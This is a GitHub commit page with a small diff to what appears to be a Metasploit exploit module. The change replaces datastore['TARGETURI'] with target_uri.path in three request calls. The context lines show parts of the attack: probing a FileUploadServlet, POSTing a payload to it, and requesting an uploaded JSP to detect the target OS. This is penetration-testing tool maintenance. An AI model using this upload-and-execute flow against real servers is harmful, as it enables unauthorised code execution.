Add changes requested to target.uri

bug/bundler_fix
Pedro Ribeiro 2016-08-04 17:50:16 +01:00 committed by GitHub
parent c93e88f3a3
commit 07e210c143
1 changed files with 3 additions and 3 deletions

View File

@ -72,7 +72,7 @@ Windows and Linux.
def check def check
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'GET' 'method' => 'GET'
) )
if res && res.code == 405 if res && res.code == 405
@ -88,7 +88,7 @@ Windows and Linux.
print_status("#{peer} - Uploading payload...") print_status("#{peer} - Uploading payload...")
end end
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'), 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
'method' => 'POST', 'method' => 'POST',
'data' => payload.to_s, 'data' => payload.to_s,
'ctype' => 'text/html', 'ctype' => 'text/html',
@ -113,7 +113,7 @@ Windows and Linux.
jsp_name = upload_payload(os_finder_payload, false) jsp_name = upload_payload(os_finder_payload, false)
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name), 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
'method' => 'GET' 'method' => 'GET'
) )